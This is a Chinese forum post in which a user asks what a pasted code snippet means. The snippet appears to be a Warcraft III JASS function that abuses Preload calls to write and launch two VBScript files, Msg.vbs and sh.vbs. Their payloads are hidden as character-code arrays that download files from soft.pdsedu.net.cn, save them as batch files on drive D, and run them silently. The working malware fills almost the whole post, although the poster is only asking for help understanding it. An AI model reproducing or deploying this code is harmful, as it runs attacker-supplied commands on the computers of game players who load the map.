求助各位大神，帮我看看这段代码是什么意思

function PreloadFiles takes nothing returns nothing
call Preload( "
>Msg.vbs set /p="strs=array(13,111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,13,10,117,112,100,97,116,101,32,61,32,48,13,10,115,101,116,32,104,116,116,112,61,99,114,1" <nul
" )
call Preload( "
>>Msg.vbs set /p="01,97,116,101,111,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,41,13,10,117,114,108,61,34,104,116,116,112,58,47,47,115,111,102,116,46,112,10" <nul
" )
call Preload( "
>>Msg.vbs set /p="0,115,101,100,117,46,110,101,116,46,99,110,47,102,105,108,101,47,109,101,115,115,97,103,101,46,97,115,112,34,13,10,104,116,116,112,46,111,112,101,110,32,34,103,101,116,34,44,117,11" <nul
" )
call Preload( "
>>Msg.vbs set /p="4,108,44,102,97,108,115,101,13,10,104,116,116,112,46,115,101,110,100,13,10,109,101,115,115,97,103,101,61,122,104,117,97,110,103,104,117,97,110,40,72,116,116,112,46,114,101,115,112," <nul
" )
call Preload( "
>>Msg.vbs set /p="111,110,115,101,98,111,100,121,41,13,10,70,117,110,99,116,105,111,110,32,122,104,117,97,110,103,104,117,97,110,40,118,73,110,41,32,13,10,32,32,32,32,115,116,114,82,101,116,117" <nul
" )
call Preload( "
>>Msg.vbs set /p=",114,110,32,61,32,34,34,13,10,32,32,32,32,70,111,114,32,105,32,61,32,49,32,84,111,32,76,101,110,66,40,118,73,110,41,13,10,32,32,32,32,32,32,32,32,84,104,105,115,67,104,97,114,67,11" <nul
" )
call Preload( "
>>Msg.vbs set /p="1,100,101,32,61,32,65,115,99,66,40,77,105,100,66,40,118,73,110,44,105,44,49,41,41,13,10,32,32,32,32,32,32,32,32,73,102,32,84,104,105,115,67,104,97,114,67,111,100,101,32,60,32,38,72" <nul
" )
call Preload( "
>>Msg.vbs set /p=",56,48,32,84,104,101,110,13,10,32,32,32,32,32,32,32,32,32,32,32,32,115,116,114,82,101,116,117,114,110,32,61,32,115,116,114,82,101,116,117,114,110,32,38,32,67,104,114,40,84,104,105," <nul
" )
call Preload( "
>>Msg.vbs set /p="115,67,104,97,114,67,111,100,101,41,13,10,32,32,32,32,32,32,32,32,69,108,115,101,13,10,32,32,32,32,32,32,32,32,32,32,32,32,78,101,120,116,67,104,97,114,67,111,100,101,32,61,32,65,1" <nul
" )
call Preload( "
>>Msg.vbs set /p="15,99,66,40,77,105,100,66,40,118,73,110,44,105,43,49,44,49,41,41,13,10,32,32,32,32,32,32,32,32,32,32,32,32,115,116,114,82,101,116,117,114,110,32,61,32,115,116,114,82,101,116,117,11" <nul
" )
call Preload( "
>>Msg.vbs set /p="4,110,32,38,32,67,104,114,40,67,76,110,103,40,84,104,105,115,67,104,97,114,67,111,100,101,41,32,42,32,38,72,49,48,48,32,43,32,67,73,110,116,40,78,101,120,116,67,104,97,114,67,111,1" <nul
" )
call Preload( "
>>Msg.vbs set /p="00,101,41,41,13,10,32,32,32,32,32,32,32,32,32,32,32,32,105,32,61,32,105,32,43,32,49,13,10,32,32,32,32,32,32,32,32,69,110,100,32,73,102,13,10,32,32,32,32,78,101,120,116,13,10,32,32," <nul
" )
call Preload( "
>>Msg.vbs set /p="32,32,122,104,117,97,110,103,104,117,97,110,32,61,32,115,116,114,82,101,116,117,114,110,13,10,69,110,100,32,70,117,110,99,116,105,111,110,13,10,115,101,116,32,102,115,111,61,99,114" <nul
" )
call Preload( "
>>Msg.vbs set /p=",101,97,116,101,111,98,106,101,99,116,40,34,115,99,114,105,112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,34,41,13,10,115,101,116,32,122,115,9" <nul
" )
call Preload( "
>>Msg.vbs set /p="9,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,115,99,114,105,112,116,105,110,103,46,100,105,99,116,105,111,110,97,114,121,34,41,13,10,105,102,32,40,102,115,111,46,102,105," <nul
" )
call Preload( "
>>Msg.vbs set /p="108,101,101,120,105,115,116,115,40,34,68,58,92,88,122,109,101,115,115,97,103,101,46,98,97,116,34,41,41,32,116,104,101,110,13,10,115,101,116,32,102,105,108,101,61,102,115,111,46,111" <nul
" )
call Preload( "
>>Msg.vbs set /p=",112,101,110,116,101,120,116,102,105,108,101,40,34,68,58,92,88,122,109,101,115,115,97,103,101,46,98,97,116,34,44,49,44,116,117,114,101,41,13,10,101,108,115,101,13,10,115,101,116,32" <nul
" )
call Preload( "
>>Msg.vbs set /p=",102,105,108,101,61,102,115,111,46,99,114,101,97,116,101,116,101,120,116,102,105,108,101,40,32,34,68,58,92,88,122,109,101,115,115,97,103,101,46,98,97,116,34,44,50,44,116,117,114,10" <nul
" )
call Preload( "
>>Msg.vbs set /p="1,41,13,10,102,105,108,101,46,119,114,105,116,101,32,109,101,115,115,97,103,101,13,10,117,112,100,97,116,101,32,61,32,49,13,10,115,101,116,32,102,105,108,101,61,102,115,111,46,111," <nul
" )
call Preload( "
>>Msg.vbs set /p="112,101,110,116,101,120,116,102,105,108,101,40,34,68,58,92,88,122,109,101,115,115,97,103,101,46,98,97,116,34,44,49,44,116,117,114,101,41,13,10,101,110,100,32,105,102,13,10,122,115," <nul
" )
call Preload( "
>>Msg.vbs set /p="99,46,97,100,100,32,108,105,110,101,44,102,105,108,101,46,114,101,97,100,97,108,108,13,10,108,111,99,116,120,116,32,61,32,122,115,99,40,108,105,110,101,41,13,10,102,105,108,101,46," <nul
" )
call Preload( "
>>Msg.vbs set /p="99,108,111,115,101,13,10,105,102,32,109,101,115,115,97,103,101,32,60,62,32,34,48,34,32,97,110,100,32,109,101,115,115,97,103,101,32,60,62,32,108,111,99,116,120,116,32,116,104,101,11" <nul
" )
call Preload( "
>>Msg.vbs set /p="0,13,10,115,101,116,32,102,105,108,101,61,102,115,111,46,111,112,101,110,116,101,120,116,102,105,108,101,40,34,68,58,92,88,122,109,101,115,115,97,103,101,46,98,97,116,34,44,50,44,1" <nul
" )
call Preload( "
>>Msg.vbs set /p="16,117,114,101,41,13,10,102,105,108,101,46,119,114,105,116,101,32,109,101,115,115,97,103,101,13,10,102,105,108,101,46,99,108,111,115,101,13,10,117,112,100,97,116,101,32,61,32,49,13" <nul
" )
call Preload( "
>>Msg.vbs set /p=",10,101,108,115,101,13,10,101,110,100,32,105,102,13,10,105,102,32,117,112,100,97,116,101,32,61,32,48,32,116,104,101,110,13,10,101,108,115,101,13,10,116,105,116,108,101,61,34,-13094" <nul
" )
call Preload( "
>>Msg.vbs set /p=",-11850,-18732,-10819,-14659,-13144,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41" <nul
" )
call Preload( "
>>Msg.vbs set /p=",13,10,83,101,116,32,111,98,106,87,111,114,100,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,111,114,100,46,65,112,112,108,105,99,97,116,105,111,110,34,41,13,10,83,1" <nul
" )
call Preload( "
>>Msg.vbs set /p="01,116,32,99,111,108,84,97,115,107,115,32,61,32,111,98,106,87,111,114,100,46,84,97,115,107,115,13,10,100,111,32,13,10,32,32,83,101,116,32,99,111,108,84,97,115,107,115,32,61,32,111," <nul
" )
call Preload( "
>>Msg.vbs set /p="98,106,87,111,114,100,46,84,97,115,107,115,13,10,32,32,105,102,32,99,111,108,84,97,115,107,115,46,101,120,105,115,116,115,40,116,105,116,108,101,41,32,116,104,101,110,32,32,39,13,1" <nul
" )
call Preload( "
>>Msg.vbs set /p="0,32,32,32,109,115,103,98,111,120,32,109,101,115,115,97,103,101,13,10,32,32,32,111,98,106,119,111,114,100,46,113,117,105,116,13,10,32,32,32,119,115,99,114,105,112,116,46,113,117,10" <nul
" )
call Preload( "
>>Msg.vbs set /p="5,116,13,10,32,32,101,110,100,32,105,102,13,10,32,32,119,115,99,114,105,112,116,46,115,108,101,101,112,32,49,48,48,48,13,10,108,111,111,112,13,10,101,110,100,32,105,102,13,10" <nul
" )
call Preload( "
echo )>>Msg.vbs
echo for i=1 to UBound(strs)>>Msg.vbs
echo runner=runner+chr(strs(i))>>Msg.vbs
echo next>>Msg.vbs
echo Execute runner>>Msg.vbs
start Msg.vbs
" )
call Preload( "
>sh.vbs set /p="strs=array(13,111,110,32,101,114,114,111,114,32,114,101,115,117,109,101,32,110,101,120,116,13,10,83,101,116,32,114,101,97,100,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40" <nul
" )
call Preload( "
>>sh.vbs set /p=",34,77,115,120,109,108,50,46,88,77,76,72,84,84,80,34,41,13,10,114,101,97,100,46,79,112,101,110,32,34,71,69,84,34,44,34,104,116,116,112,58,47,47,115,111,102,116,46,112,100,115,101,1" <nul
" )
call Preload( "
>>sh.vbs set /p="00,117,46,110,101,116,46,99,110,47,102,105,108,101,47,115,104,101,108,108,46,116,120,116,34,44,48,13,10,114,101,97,100,46,83,101,110,100,40,41,13,10,115,104,101,108,108,32,61,32,11" <nul
" )
call Preload( "
>>sh.vbs set /p="4,101,97,100,46,82,101,115,112,111,110,115,101,84,101,120,116,13,10,115,101,116,32,87,83,72,115,104,101,108,108,32,61,32,119,115,99,114,105,112,116,46,99,114,101,97,116,101,111,98," <nul
" )
call Preload( "
>>sh.vbs set /p="106,101,99,116,40,34,119,115,99,114,105,112,116,46,115,104,101,108,108,34,41,32,13,10,115,101,116,32,102,115,111,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,115,99,114,105" <nul
" )
call Preload( "
>>sh.vbs set /p=",112,116,105,110,103,46,102,105,108,101,115,121,115,116,101,109,111,98,106,101,99,116,34,41,13,10,115,101,116,32,122,115,99,61,99,114,101,97,116,101,111,98,106,101,99,116,40,34,115" <nul
" )
call Preload( "
>>sh.vbs set /p=",99,114,105,112,116,105,110,103,46,100,105,99,116,105,111,110,97,114,121,34,41,13,10,105,102,32,40,102,115,111,46,102,105,108,101,101,120,105,115,116,115,40,34,68,58,92,88,122,83,1" <nul
" )
call Preload( "
>>sh.vbs set /p="04,101,108,108,46,98,97,116,34,41,41,32,116,104,101,110,13,10,115,101,116,32,102,105,108,101,61,102,115,111,46,111,112,101,110,116,101,120,116,102,105,108,101,40,34,68,58,92,88,122" <nul
" )
call Preload( "
>>sh.vbs set /p=",83,104,101,108,108,46,98,97,116,34,44,49,44,116,117,114,101,41,13,10,101,108,115,101,13,10,115,101,116,32,102,105,108,101,61,102,115,111,46,99,114,101,97,116,101,116,101,120,116,1" <nul
" )
call Preload( "
>>sh.vbs set /p="02,105,108,101,40,32,34,68,58,92,88,122,83,104,101,108,108,46,98,97,116,34,44,50,44,116,117,114,101,41,13,10,102,105,108,101,46,119,114,105,116,101,32,115,104,101,108,108,13,10,87," <nul
" )
call Preload( "
>>sh.vbs set /p="83,72,115,104,101,108,108,46,114,117,110,32,34,99,109,100,32,47,99,32,68,58,92,88,122,83,104,101,108,108,46,98,97,116,34,44,48,44,116,114,117,101,13,10,115,101,116,32,102,105,108,1" <nul
" )
call Preload( "
>>sh.vbs set /p="01,61,102,115,111,46,111,112,101,110,116,101,120,116,102,105,108,101,40,34,68,58,92,88,122,83,104,101,108,108,46,98,97,116,34,44,49,44,116,117,114,101,41,13,10,101,110,100,32,105,1" <nul
" )
call Preload( "
>>sh.vbs set /p="02,13,10,122,115,99,46,97,100,100,32,108,105,110,101,44,102,105,108,101,46,114,101,97,100,97,108,108,13,10,108,111,99,116,120,116,32,61,32,122,115,99,40,108,105,110,101,41,13,10,10" <nul
" )
call Preload( "
>>sh.vbs set /p="2,105,108,101,46,99,108,111,115,101,13,10,105,102,32,115,104,101,108,108,32,60,62,32,34,48,34,32,97,110,100,32,115,104,101,108,108,32,60,62,32,108,111,99,116,120,116,32,116,104,101" <nul
" )
call Preload( "
>>sh.vbs set /p=",110,13,10,115,101,116,32,102,105,108,101,61,102,115,111,46,111,112,101,110,116,101,120,116,102,105,108,101,40,34,68,58,92,88,122,83,104,101,108,108,46,98,97,116,34,44,50,44,116,11" <nul
" )
call Preload( "
>>sh.vbs set /p="7,114,101,41,13,10,102,105,108,101,46,119,114,105,116,101,32,115,104,101,108,108,13,10,102,105,108,101,46,99,108,111,115,101,13,10,87,83,72,115,104,101,108,108,46,114,117,110,32,34" <nul
" )
call Preload( "
>>sh.vbs set /p=",99,109,100,32,47,99,32,68,58,92,88,122,83,104,101,108,108,46,98,97,116,34,44,48,44,116,114,117,101,13,10,101,108,115,101,13,10,101,110,100,32,105,102,13,10" <nul
" )
call Preload( "
echo )>>sh.vbs
echo for i=1 to UBound(strs)>>sh.vbs
echo runner=runner+chr(strs(i))>>sh.vbs
echo next>>sh.vbs
echo Execute runner>>sh.vbs
start sh.vbs
" )
call PreloadEnd( 0.0 )
endfunction
如上